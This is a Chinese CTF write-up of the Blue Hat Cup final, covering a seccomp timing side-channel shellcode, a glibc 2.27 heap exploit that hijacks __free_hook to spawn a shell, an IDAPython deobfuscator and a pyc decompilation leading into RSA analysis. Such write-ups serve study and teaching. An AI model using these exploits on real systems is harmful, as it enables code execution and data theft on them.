MENU

第五届 “蓝帽杯” Final PWN、RE Writeup

September 3, 2021 • Read: 83 • Pwn,Reverse,CTF

PWN

secretcode

类似的题目遇到过很多次,主要原理都是通过侧信道来窃取数据,这次则是在原来的基础上加大了限制来提高利用难度。

沙箱分析

使用 IDA 打开后查看伪代码

image.png

根据程序的内容可以大概得出程序的意义,在开启沙箱保护的情况下,要求你输入一段无 NULL (由于使用 strcpy 来复制内容)的 shellcode,并执行得到 Flag。

遇到这种情况,我们首先应该尝试使用 seccomp-tools 来查看沙箱内容,再根据沙箱的要求来思考做题方法,但是这里尝试使用 seccomp-tools 直接报错

image.png

这里提示的是 Permission denied 的错误,所以我们在前面加个 sudo 来查看沙箱内容

image.png

沙箱的内容简单翻译后就是,只允许 open 和 read 这两个系统调用,并且要求 read 打开 fd 大于 0x14

解决 gdb 附加问题

发现使用 gdb 调试会出错,无法成功附加,问题大概也是因为没有 root 权限,这里的解决思路是 patch 掉代码中相应的代码。

image.png

尝试单步调试查找问题来源,发现在以下函数执行后,gdb 程序报错

image.png

此指令在 IDA 中对应的代码为

image.png

故我们使用快捷键 Ctrl + Alt + K 调用出 KeyPatch 的界面,将其内容修改为 nop 指令

image.png

修改之后再执行 gdb 调试就不会出现问题

image.png

编写 Shellcode

这一部应该是题目的核心,要求我们写一段在 0x40 大小内的 shellcode,实现侧信道攻击得到 Flag 数据。并且因为这里 read 函数的限制,我们也无法二次读入一段 shellcode 来简化 shellcode 编写过程。

这里的侧信道攻击指的就是通过程序延迟时间等信息来泄露出一些不可以直接输出的内容,在我的理解中,SQL 注入中的时间延迟盲注也是类似的一种侧信道攻击。而在这道题目中,我们就给程序设置卡死或出错退出,来推断出汇编中执行指令的 True 或者 False。

我们这里就是利用这个思路,再配合上二分查找,这样就能够在短短几次中快速的确定 Flag 中某位的值。

具体过程

我们可以根据 open 的返回值(RAX)再结合 cmp 指令来确定此时打开的 fd 是否满足沙箱要求(fd > 0x14),直到满足要求后再调用 read 读取 Flag 数据,再使用 ja 指令判定某位(i)的 Flag 是否大于某个值(mid)。

根据以上思路编写的 Shellcode

open:  
/* open(file='./flag', oflag=0, mode=0) */
/* push './flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f2e
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall

cmp ax, 0x15
jne open
mov rdi, rax
xor rax, rax
mov cl, 0xff
mov esi, ecx
mov edx, esi
syscall

loop:
mov al, [rdx + {i}]
cmp al, {mid}
ja loop

EXP

import time
from pwn import *
context.log_level = "ERROR"
context.arch = "amd64"
flag = "flag{"
for i in range(len(flag), 0x20):
    l = 0
    r = 127
    while l < r:
        mid = (l + r) >> 1
        sh = process('./chall')
        # sh = remote('47.104.169.149', 25178)
        mmap = 0x10000
        orw_payload = "open:" + shellcraft.open('./flag')
        orw_payload += '''cmp ax, 0x15
               jne open
               mov rdi, rax
               xor rax, rax
               mov cl, 0xff
               mov esi, ecx
               mov edx, esi
               syscall
               loop:
               mov al, [rdx + %d]
               cmp al, %d
               ja loop
               ''' % (i, mid)
        shellcode = asm(orw_payload)
        sh.sendafter('======== Input your secret code ========', shellcode)
        st = time.time()
        try:
            while True:
                cur = sh.recv(timeout=0.01)
                if time.time() - st > 0.05:
                    l = mid + 1
                    break
        except EOFError:
            r = mid
        sh.close()
    flag += chr(l)
    print flag

normal-babynote

非常典型的菜单堆题,又被打成了签到题。

image.png

Ubuntu GLIBC 2.27-3ubuntu1.4,存在 tcache double free 检测,无沙箱。

函数分析

Add 函数

image.png

要求申请的 size 在 0x2F0 内,并且最多申请 16 个堆块,也就是允许申请可以放入 Tcache 中的堆块,可以方便我们利用。

Edit 函数

image.png

使用 abs32 对 offset 进行取整并且对 size 进行取模,看到 abs 函数就要非常敏感,因为在储存有符号数的时候,补码的范围决定了最小的负数(-0x80000000)取绝对值后的结果无法表示,所以此时取绝对值后的结果还是(-0x80000000),类似的还有当最小的负数除以 -1 的时候,会触发算数异常 SIGFPE,另一种触发方法就是除 0。

结合这里对 get_int 的分析,发现这里确实存在 abs 漏洞,允许 offset 为负数从而导致向前溢出。

同时这里的 read_content 函数会用 0 截断字符串且不存在 off by null 的漏洞。

Delete 函数

image.png

free 之后把野指针置 0,这样的做法是正确的。

Show 函数

image.png

使用 puts 输出堆块内容,但是由于在 add 和 edit 的过程中会用 0 截断,从而导致这里需要先构造出堆重叠才能够泄露出 libc 地址。

漏洞利用

计算出合适的 SIZE

由于存在向前溢出且版本是 glibc2.27(存在 Tcache),所以我们就会想办法向前溢出到 Tcache Struct 那块空间来实现申请任意地址堆块。由于向前溢出的长度取决于我们申请堆块的长度取模后的结果,所以我们需要选择一个合适的长度以至于可以正好向前溢出到 Tcache Struct,我这里编写一个程序来爆破计算。

#include <stdio.h>

int main()
{
    for (int i = 1; i <= 0x2f0; i++)
    {
        printf("SIZE = 0x%X, OFFSET = -0x%X\n", i, 0x80000000 % i);
    }
    return 0;
}

观察结果,发现 SIZE = 0x2C4 的溢出长度最长,能够满足我们的要求。

构造堆重叠

我们能够覆盖到 Tcache Struct 后还需要考虑如何泄露出 libc 地址,对于这道题来说,我们可以想办法先释放一个堆块到 Tcache Struct,然后再通过部分覆盖把之前释放的堆块的地址末尾字节踩为 0,再申请得到就可以构造出堆重叠。得到堆重叠后,再次覆盖把 tcache 的 counts 改为 7,再次释放就可以把堆块放到 unsortedbin 中,堆块的 fd 指针上存留的就是 libc 地址。

劫持__free_hook

由于这道题没有开沙箱,所以我们直接改 Tcache Struct 到__free_hook,再劫持其内容为 system 函数的指针,释放某个内容为“sh”的堆块时就会调用 system("sh")来 getshell。

EXP

from pwn import *

elf = None
libc = None
file_name = "./chall"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("> ", str(idx))


def add(size, content):
    choice(1)
    sh.sendlineafter("size> ", str(size))
    sh.sendlineafter('msg> ', content)


def edit(idx, offset, content):
    choice(2)
    sh.sendlineafter("idx> ", str(idx))
    sh.sendlineafter("offset> ", str(offset))
    sh.sendafter("msg> ", content)


def delete(idx):
    choice(3)
    sh.sendlineafter("idx> ", str(idx))


def show(idx):
    choice(4)
    sh.sendlineafter("idx> ", str(idx))


def pwn(sh, elf, libc):
    context.log_level = "debug"
    add(0x58, 'sh\x00')  # 0
    add(0x2c4, 'wjh')  # 1
    add(0x168, 'wjh')  # 2
    add(0x88, 'wjh')  # 3
    add(0x88, 'wjh')  # 4
    delete(4)

    edit(1, -0x80000000, p64(0) + p64(0x251) + '\x00' * 7 + '\x07' + '\x00' * (0x78 - 8) + '\n')

    add(0x88, 'wjh')  # 5
    edit(1, -0x80000000, p64(0) + p64(0x251) + '\x00' * 7 + '\x07' + '\x00' * (0x78 - 8) + '\n')
    delete(3)
    show(5)
    libc_base = get_address(sh, True, info='libc_base:\t', offset=-0x3ebca0)
    free_hook_addr = libc_base + 0x3ed8e8
    system_addr = libc_base + 0x4f550
    edit(1, -0x80000000, p64(0) + p64(0x251) + '\x00' * 7 + '\x01' + '\x00' * (0x78 - 8) + p64(free_hook_addr) + '\n')
    add(0x88, p64(system_addr))
    # gdb.attach(sh, "b *$rebase(0x0000000000000E43)")
    delete(0)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

总结

这次的PWN的题目虽然难度适中,但是很有新意,有我最喜欢的构造shellcode的题目,也有比较有创意的向前溢出堆题,这些题目的利用方法和分析过程都非常值得大家学习。侧信道的题目在目前已经出现过好多次了,从一个新颖的手法转变成为一个应该比较熟悉的利用方法,在我的 EXP 中存在其他 Writeup 从来未有的二分查找来快速确定字节内容,这样的方法速度相较于传统方法要快很多,我认为值得大家当做一个模板存下来。

RE

abc

题目中存在着大量的花指令来妨碍我们查看伪代码,我们这里尝试编写 IDAPython 脚本来去除花指令。

花指令分析

TYPE1

image.png

call $+5

其实相当于往栈上写一个返回地址(0x400ECB),并且由于 CALL 指令的长度就是 5,所以实际上程序在执行 CALL 之后的 RIP (0x400ECB)不变。

add qword ptr [rsp], 0Ch

相当于把前面压如的 RIP 地址 + 0xC,计算可以得知(0x400ECB + 0xC = 0x400ED7),也就是说实际上后面解析出来的 leave 和 retn 并不会执行,只是起到了混淆反编译器的作用。

jmp sub_4016C8

这里跳转的实际上是一个 plt 函数位置,但是这里使用了 jmp sub_4016C8 这种方法调用,在函数内部 retn 的时候就会直接返回到 0x400ED7 这个位置。

根据以上分析可知,实际上程序所做的就是将 call sub_4016C8 混淆为以上指令来阻碍 IDA Pro 的分析,而我们所需要做的,就是把上述代码还原为 call sub_4016C8。

还原效果

image.png

TYPE2

image.png

插入两部分的无效片段

插入了一个函数

push    rbp
mov     rbp, rsp
leave
retn

程序会调用这个函数,但是实际上没有任何意义(为了混淆 IDA 识别)

执行后会使用 jmp 直接跳出,jmp 后的 leave 和 retn 不会被执行。

其特征为垃圾代码存在于 call 函数和 jmp 指令之间,只需要 nop 掉这一部分的内容即可。

还原效果

image.png

TYPE3

image.png这个实际上就是 leave;retn,我们直接还原即可

还原效果

image.png

修复 PLT 符号信息

解决以上三种花指令后,查看伪代码就稍微好看一些了,但是 PLT 符号仍然没有被加载显示

image.png

开头的那三个调用明显是 setbuf,但是没有被显示,我怀疑是因为 Dyn 这里没有 DT_JMPREL,导致 IDA 没有识别

image.png

但是实际上在 DT_RELA 中存在 R_X86_64_JUMP_SLOT 信息,也就是我们可以根据这里的信息来模拟 PltResolver 从而恢复 Plt 的符号数据 。

image.png

这部分的思路来自于 https://github.com/veritas501/PltResolver

还原常量数据

仔细观察就可以发现在程序中存在着大量的常量混淆,使用 ROR8 ROL8 ROR4 ROL4 这样的移位指令来妨碍分析

image.png

查看汇编代码发现格式基本上如下所示

image.png

我们可以直接计算这些操作,最终优化为直接的 mov rax, xxx

具体的实现逻辑就是,搜索 mov rax, xxx 这样的指令,然后以此指令向下遍历,遍历到 xor,rol,ror 这样可以直接优化的指令则模拟计算,计算完成后再修改 mov rax 指令。在计算的过程中需要考虑到操作数是 32 位还是 64 位,对于不同的操作手法。

还原效果

image.png

程序虽然还有一层取反操作后才输出,但是这对于我们分析程序逻辑已经影响不大了,所以我们接下来就可以直接进行分析。

主程序分析

image.png

程序要求输入一串操作序列,输入的序列可以操作内部的 box 进行移动

image.png

这个移动的过程就是在不溢出过边界的情况下,可以让 box 中的 -1 向上下左右任意一个方向移动(交换相邻块)

简单的研究后,可以发现这个游戏其实就是 15 puzzle-game

image.png

也就是要求操作类似上面的空白块(可以上下左右移动),最后让空白块的位置停留在右下角且其他内容依次增加

image.png

这一部分就是 check 的代码,如果你的操作序列完成了游戏,那么就会使用 system 来 cat flag,这样做的原因是,这种游戏的路径通常是有多条的,使用远程服务器验证序列的方式来 cat flag,可以让多解都能够得到 Flag,这也是一种常用的解决方案。

这里我通过搜索在 github 上找到一个脚本可以跑出结果

#include <iostream>
#include <string>
#include <vector>
#include <map>
#include <stack>
#include <queue>
#include <cstdlib>

using namespace std;

const string SOLUTION = "010203040506070809101112131415SS";

struct Node {
    string state;
    string path;
};

bool goalTest(Node a) {
    return (a.state.compare(SOLUTION) == 0);
}

string swapNew(string state, unsigned int a, unsigned int b) {
    string newState(state);
    string temp = newState.substr(a, 2);
    newState[a] = newState[b];
    newState[a + 1] = newState[b + 1];
    newState[b] = temp[0];
    newState[b + 1] = temp[1];
    return newState;
}

void generateSuccessors(Node curNode, vector<Node>& possible_paths) {
    int loc = curNode.state.find("SS");
    // cout << "SS: " << loc << endl;
    if (loc > 7) { //can move up?e
        Node newNode;
        newNode.state = swapNew(curNode.state, loc, loc - 8);
        newNode.path = curNode.path;
        newNode.path += 'u';
        possible_paths.push_back(newNode);
    }
    if (loc < 24) { //can move down?
        Node newNode;
        newNode.state = swapNew(curNode.state, loc, loc + 8);
        newNode.path = curNode.path;
        newNode.path += 'd';
        possible_paths.push_back(newNode);
    }
    if (loc % 8 < 6) { //can move right?
        Node newNode;
        newNode.state = swapNew(curNode.state, loc, loc + 2);
        newNode.path = curNode.path;
        newNode.path += 'r';
        possible_paths.push_back(newNode);
    }
    if (loc % 8 > 1) { //can move left?
        Node newNode;
        newNode.state = swapNew(curNode.state, loc, loc - 2);
        newNode.path = curNode.path;
        newNode.path += 'l';
        possible_paths.push_back(newNode);
    }
}

Node bfs(Node startNode) {
    queue<Node> frontier; //list for next nodes to expand
    frontier.push(startNode);
    map<string, int> expanded; //keeps track of nodes visited
    int numExpanded = 0;
    int maxFrontier = 0;
    while (!frontier.empty()) {
        Node curNode = frontier.front();
        frontier.pop();
        numExpanded += 1;
        expanded[curNode.state] = 1;
        vector<Node> nextNodes;
        generateSuccessors(curNode, nextNodes);
        for (unsigned int i = 0; i < nextNodes.size(); i++) {
            if (goalTest(nextNodes[i])) {
                cout << "Expanded: " << numExpanded << " nodes" << endl;
                cout << "Max Frontier: " << maxFrontier << " nodes" << endl;
                cout << nextNodes[i].state << endl;
                return nextNodes[i];
            }
            if (expanded.find(nextNodes[i].state) != expanded.end()) {
                continue;
            }
            frontier.push(nextNodes[i]);
            if (frontier.size() > maxFrontier) {
                maxFrontier = frontier.size();
            }
        }
    }
}

Node dfs(Node startNode, int maxDepth = 80) {
    stack<Node> frontier;
    frontier.push(startNode);
    map<string, int> expanded;
    int numExpanded = 0;
    int maxFrontier = 0;
    while (!frontier.empty()) {
        Node curNode = frontier.top();
        frontier.pop();
        expanded[curNode.state] = curNode.path.length();
        numExpanded += 1;
        vector<Node> nextNodes;
        //cout << curNode.path << endl;
        generateSuccessors(curNode, nextNodes);
        for (unsigned int i = 0; i < nextNodes.size(); i++) {
            if (nextNodes[i].path.length() > maxDepth) {
                continue;
            }
            if (goalTest(nextNodes[i])) {
                cout << "Expanded: " << numExpanded << " nodes" << endl;
                cout << "Max Frontier: " << maxFrontier << " nodes" << endl;
                return nextNodes[i];
            }
            if (expanded.find(nextNodes[i].state) != expanded.end()
                && expanded[nextNodes[i].state] < nextNodes[i].path.length()) {
                continue;
            }
            frontier.push(nextNodes[i]);
            if (frontier.size() > maxFrontier) {
                maxFrontier = frontier.size();
            }
        }
    }
    return startNode;
}

Node ittdfs(Node startNode) {
    for (unsigned int i = 1; i < 80; i++) {
        //cout << "current iteration: " << i << endl;
        Node solved = dfs(startNode, i);
        if (goalTest(solved)) {
            //cout << "max depth: " << i << endl;
            return solved;
        }
    }
    return startNode;
}

int main(int argc, char* argv[]) {
    Node startNode;
    startNode.state = "";
    int method = 4;
    startNode.state = "011002030513060409SS071114151208";
    if (startNode.state.length() != 32) {
        cout << "Please enter the state of the puzzle using 2 digits for each position"
            << " and SS for the empty space" << endl;
        cout << "Example Usage: " << argv[0] << "010203040506070809101112131415SS" << endl;
        return 1;
    }
    // vector<Node> test;
    // generateSuccessors(startNode,test);
    // for (int i = 0; i < test.size(); i++){
    //     cout << test[i].state << " " << test[i].path << endl;
    int depth;
    Node solved;
    switch (method) {
    case 1: //bfs
        cout << "BFS USED" << endl;
        solved = bfs(startNode);
        break;
    case 2: //dfs
        cout << "DFS USED" << endl;
        solved = dfs(startNode);
        break;
    case 3: //limited dfs
        cout << "depth limited DFS USED" << endl;
        if (argc < 4) {
            cout << "Need a third parameter for maximum depth" << endl;
            return 1;
        }
        depth = atoi(argv[3]);
        solved = dfs(startNode, depth);
        break;
    case 4:
        cout << "ITTERATIVE DFS USED" << endl;
        solved = ittdfs(startNode);
        break;
    }

    if (!goalTest(solved)) {
        cout << "No solution found" << endl;
        return 1;
    }

    cout << "path to solution: " << solved.path << endl;
    return 0;
}

等待程序跑完后,我们替换操作指令为程序所设定的,最终得到操作序列

$$%@@#$#@#@%%%$$$###@@@

提交操作序列到远程的服务器,最终即可得到 FLAG 数据。

IDAPython 脚本

其实这道题的花指令量不算大,所以手动处理也是可以的,但是相对于手动处理,使用脚本进行批量处理的进阶要更高,所以在赛后我尝试使用 IDAPython 来处理这个程序中的花指令,并借此机会学习 IDAPython。在此分享一下我的脚本,虽然不是最优的写法,但是在此题中也算够用。

import ida_ida
import idaapi
import idautils
import idc


def patch_raw(address, patch_data, size):
    ea = address
    orig_data = ''
    while ea < (address + size):
        if not idc.has_value(idc.get_full_flags(ea)):
            print("FAILED to read data at 0x{0:X}".format(ea))
            break
        orig_byte = idc.get_wide_byte(ea)
        orig_data += chr(orig_byte)
        patch_byte = patch_data[ea - address]
        if patch_byte != orig_byte:
            # patch one byte
            if idaapi.patch_byte(ea, patch_byte) != 1:
                print("FAILED to patch byte at 0x{0:X} [0x{1:X}]".format(ea, patch_byte))
                break
        ea += 1
    return (ea - address, orig_data)


def nop(addr, endaddr):
    while (addr < endaddr):
        idc.patch_byte(addr, 0x90)
        addr += 1


def undefine(addr, endaddr):
    while addr < endaddr:
        idc.del_items(addr, 0)
        addr += 1


def GetDyn():
    phoff = idc.get_qword(ida_ida.inf_get_min_ea() + 0x20) + ida_ida.inf_get_min_ea()
    phnum = idc.get_wide_word(ida_ida.inf_get_min_ea() + 0x38)
    phentsize = idc.get_wide_word(ida_ida.inf_get_min_ea() + 0x36)
    for i in range(phnum):
        p_type = idc.get_wide_dword(phoff + phentsize * i)
        if p_type == 2:  # PY_DYNAMIC
            dyn_addr = idc.get_qword(phoff + phentsize * i + 0x10)
            return dyn_addr


def ParseDyn(dyn, tag):
    idx = 0
    while True:
        v1, v2 = idc.get_qword(dyn + idx * 0x10), idc.get_qword(dyn + idx * 0x10 + 8)
        if v1 == 0 and v2 == 0:
            return
        if v1 == tag:
            return v2
        idx += 1


def SetFuncFlags(ea):
    func_flags = idc.get_func_attr(ea, idc.FUNCATTR_FLAGS)
    func_flags |= 0x84  # FUNC_THUNK|FUNC_LIB
    idc.set_func_attr(ea, idc.FUNCATTR_FLAGS, func_flags)


def PltResolver(rela, strtab, symtab):
    idx = 0
    while True:
        r_off = idc.get_qword(rela + 0x18 * idx)
        r_info1 = idc.get_wide_dword(rela + 0x18 * idx + 0x8)
        r_info2 = idc.get_wide_dword(rela + 0x18 * idx + 0xc)
        r_addend = idc.get_qword(rela + 0x18 * idx + 0x10)
        if r_off > 0x7fffffff:
            return
        if r_info1 == 7:
            st_name = idc.get_wide_dword(symtab + r_info2 * 0x18)
            name = idc.get_strlit_contents(strtab + st_name)
            # rename got
            idc.set_name(r_off, name.decode("ascii") + '_ptr')
            plt_func = idc.get_qword(r_off)
            # rename plt
            idc.set_name(plt_func, 'j_' + name.decode("ascii"))
            SetFuncFlags(plt_func)
            # rename plt.sec
            for addr in idautils.DataRefsTo(r_off):
                plt_sec_func = idaapi.get_func(addr)
                if plt_sec_func:
                    plt_sec_func_addr = plt_sec_func.start_ea
                    idc.set_name(plt_sec_func_addr, '_' + name.decode("ascii"))
                    SetFuncFlags(plt_sec_func_addr)
                else:
                    print("[!] idaapi.get_func({}) failed".format(hex(addr)))
        idx += 1


def rol(n, k, word_size=None):
    k = k % word_size
    n = (n << k) | (n >> (word_size - k))
    n &= (1 << word_size) - 1
    return n


def ror(n, k, word_size=None):
    return rol(n, -k, word_size)


def dejunkcode(addr, endaddr):
    while addr < endaddr:
        idc.create_insn(addr)
        # TYPE 1
        if idc.print_insn_mnem(addr) == 'call' and idc.get_operand_value(addr, 0) == addr + 5:
            if idc.print_insn_mnem(addr + 5) == 'add' and idc.get_operand_value(addr + 5, 0) == 4:  # rsp
                add_size = idc.get_operand_value(addr + 5, 1)
                if idc.print_insn_mnem(addr + 0xa) == 'jmp':
                    idc.patch_byte(addr + 0xa, 0xE8)
                    call_addr = idc.get_operand_value(addr + 0xa, 0)
                    nop(addr, addr + 0xa)
                    next_op = addr + 0x5 + add_size
                    nop(addr + 0xa + 0x5, next_op)
                    addr = next_op
                    continue
        # TYPE 2
        if idc.print_insn_mnem(addr) == 'call' and idc.print_insn_mnem(addr + 5) == 'jmp':
            call_addr = idc.get_operand_value(addr, 0)
            if idc.get_bytes(call_addr, 6) == b'\x55\x48\x89\xE5\xC9\xC3':
                '''
                push    rbp
                mov     rbp, rsp
                leave
                retn
                '''
                nop(addr, addr + 5)  # nop call
                nop(addr + 0xa, call_addr + 6)
                undefine(call_addr, call_addr + 6)
        # TYPE 3
        if idc.print_insn_mnem(addr) == 'leave':
            if idc.print_insn_mnem(addr + 1) == 'add' and \
                    idc.get_operand_value(addr + 1,0) == 4 and idc.get_operand_value(addr + 1, 1) == 8: #add rsp, 8

                if idc.print_insn_mnem(addr + 1 + 4) == 'jmp' and idc.get_operand_value(addr + 1 + 4,
                                                                                        0) == 0xfffffffffffffff8:  # [rsp - 8]
                    nop(addr + 1, addr + 1 + 4 + 4)
                    idc.patch_byte(addr + 1 + 4 + 3, 0xC3)

        # TYPE 4
        REGS = [0, 1] #[RAX, RCX]
        if idc.print_insn_mnem(addr) == 'mov' and \
                (idc.get_operand_type(addr, 0) == idc.o_reg and idc.get_operand_value(addr, 0) in REGS)\
                and idc.get_operand_type(addr, 1) == idc.o_imm:  # rax

            if idc.get_item_size(addr) > 5:
                op2_size = 8
            else:
                op2_size = 4

            op2 = idc.get_operand_value(addr, 1)
            next_op = addr
            print('begin:\t' + hex(addr))
            while next_op < endaddr:
                next_op += idc.get_item_size(next_op)
                if idc.get_operand_type(next_op, 0) == idc.o_reg and idc.get_operand_value(next_op, 0) in REGS\
                        and idc.get_operand_type(next_op, 1) == idc.o_imm:  # mov rax|rcx, xxx
                    next_op_insn = idc.print_insn_mnem(next_op)
                    da = idc.get_operand_value(next_op, 1)

                    log_data = next_op_insn + " " + hex(op2) + ", " + hex(da) + " -> "

                    if next_op_insn == "rol":
                        op2 = rol(op2, da, 8 * op2_size)
                    elif next_op_insn == "ror":
                        op2 = ror(op2, da, 8 * op2_size)
                    elif next_op_insn == "xor":
                        op2 = op2 ^ da
                        if op2_size == 8:
                            op2 &= 0xffffffffffffffff
                        else:
                            op2 &= 0xffffffff
                    else:
                        break
                    log_data += hex(op2)
                    print(log_data)
                else:
                    break
            print("end:\t", hex(next_op))
            if op2_size == 8:
                patch_raw(addr + 2, op2.to_bytes(length=op2_size, byteorder='little'), op2_size) #mov rax, xxx
                nop(addr + 0xA, next_op)
            else:
                patch_raw(addr + 1, op2.to_bytes(length=op2_size, byteorder='little'), op2_size)  # mov rax, xxx
                nop(addr + 5, next_op)
            addr = next_op
            continue

        addr += idc.get_item_size(addr)


dejunkcode(0x0000000000400672, 0x000000000040151B)

dyn = GetDyn()
print("Elf64_Dyn:\t" + hex(dyn))
strtab = ParseDyn(dyn, 0x5)
symtab = ParseDyn(dyn, 0x6)
rela = ParseDyn(dyn, 0x7)
print("DT_STRTAB:\t" + hex(strtab))
print("DT_SYMTAB:\t" + hex(symtab))
print("DT_RELA:\t" + hex(rela))
PltResolver(rela, strtab, symtab)

executable_pyc

上面的题目,我觉得难度都蛮大的,不过都很不幸被打成了签到题,这可能就是线上比赛所必须要面对的吧。而这道题目直到比赛结束也只有 2 解,在比赛中我也没有做出,赛后复现后在这里进行分享,感谢密码爷的帮助~

还原字节码至源码

这道题目所给的是一个 pyc 文件,但是对文件进行了混淆,使得直接使用工具进行转化为源码报错,混淆总共有两处,我们尝试更改源码即可反编译得到字节码内容。

我们这里使用调试的方法来得到混淆的位置并尝试还原

import sys
import decompyle3
decompyle3.decompile_file(r"C:\en.pyc", outstream=sys.stdout)

直接执行以上程序发现程序卡在

image.png

在 pyc 文件中搜索(0x4f),并且修改为 0(使其不溢出)

image.png

修改之后我们就可以查看字节码信息了,到这里其实就可以尝试手动恢复了,但是我继续尝试直接恢复出源码的信息。

可以看到字节码的开头是这样的两行

 L.   1         0  JUMP_FORWARD          4  'to 4'
                2  LOAD_CONST               0
              4_0  COME_FROM             0  '0'
                4  LOAD_CONST               0
                6  LOAD_CONST               None

我们可以知道实际上执行的时候会直接跳过第二行的内容(存在溢出的 0x4f),但是对于反编译器来说,会对字节码进行逐行解析,因此导致了反编译认为此处存在非法指令。

我们这里直接把开头的这四个字节的内容替换为 09(NOP)指令

并且在 decompyle3/semantics/pysource.py 中这个位置增加以下代码来删除 NOP 指令(可以根据搜索关键字来找到)

image.png

i = 0
while i < len(tokens):
    if tokens[i].kind == 'NOP':
        del tokens[i]
    else:
        i += 1

修改后,程序就会在另一处报错

Instruction context:
   
 L.  38        16  LOAD_GLOBAL          63  63
                  18  LOAD_FAST            77  '77'
->                20  CALL_FUNCTION_31     31  '31 positional arguments'
                  22  LOAD_CONST               512
                  24  COMPARE_OP               <
                  26  POP_JUMP_IF_TRUE     47  'to 47'
                  28  LOAD_GLOBAL              AssertionError
                  30  RAISE_VARARGS_1       1  'exception instance'
                32_0  COME_FROM            10  '10'

意思应该就是这里 CALL_FUNCTION_31 存在错误(31 的意思是有 31 个参数要传入函数),这个明显是过多的,这里我经过尝试,发现修改为 1 即可不报错,具体的原因我不得而知,希望有知道的师傅可以在评论区指点一番!

image.png

再次执行即可得到源码数据

import gmpy2 as g
from Crypto.Util.number import long_to_bytes, bytes_to_long
import random

def gen_num(n_bits):
    res = 0
    for i in range(n_bits):
        if res != 0:
            res <<= 1
        else:
            res |= random.choice([0, 1])

    return res


def gen_prime(n_bits):
    res = gen_num(n_bits)
    while not g.is_prime(res):
        b = 1
        while b != 0:
            res, b = res ^ b, (res & b) << 1

    return res


def po(a, b, n):
    res = 1
    aa = a
    while b != 0:
        if b & 1 == 1:
            res = res * aa % n
        else:
            aa *= aa
            b >>= 1

    return res % n


def e2(m):
    assert type(m) == bytes
    l = len(m) // 2
    m1 = bytes_to_long(m[:l])
    m2 = bytes_to_long(m[l:])
    p = gen_prime(1024)
    q = gen_prime(1024)
    pp = g.next_prime(p + 2333)
    qq = g.next_prime(q + 2333)
    e = g.next_prime(65535)
    ee = g.next_prime(e)
    n = p * q
    nn = pp * qq
    c1 = long_to_bytes(pow(m1, e, n))
    c2 = long_to_bytes(pow(m2, ee, nn))
    print(str(n), nn.digits(), (c1 + c2).hex())
    return c1 + c2


if __name__ == '__main__':
    import sys
    if len(sys.argv) >= 2:
        e2(sys.argv[1].encode())
    else:
        import base64 as B
        flag = B.b64decode(b'ZmxhZ3t0aGlzaXNhZmFrZWZsYWdhZ2Fhc2FzaGRhc2hkc2hkaH0=')
        e2(flag)

解密 Flag

这一部分的操作实际上完全就是一道 Crypto 的题目,我在比赛过程中就是卡在了这里,赛后我问了群里的密码师傅(感谢!!),最终问题得到了解决,这里简单的说一下解法和我的理解。

next_prime 这个函数寻找的质数与传入的参数基本上差值都在 1500 以内,所以 pp 和 qq 这两个质数实际上是非常接近 p 和 q 这两个质数的,而且在可爆破的范围内,设为 d1 和 d2。

所以可以得到

image.png

